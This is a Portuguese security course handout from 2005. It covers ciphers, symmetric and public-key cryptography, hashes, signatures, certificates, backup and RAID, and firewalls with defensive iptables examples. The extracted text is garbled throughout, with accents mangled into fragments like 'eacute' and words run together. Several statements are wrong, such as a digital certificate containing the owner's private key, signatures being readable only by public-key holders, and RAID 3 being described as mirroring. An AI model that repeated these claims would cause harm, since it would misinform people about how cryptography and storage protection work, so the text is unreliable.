Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

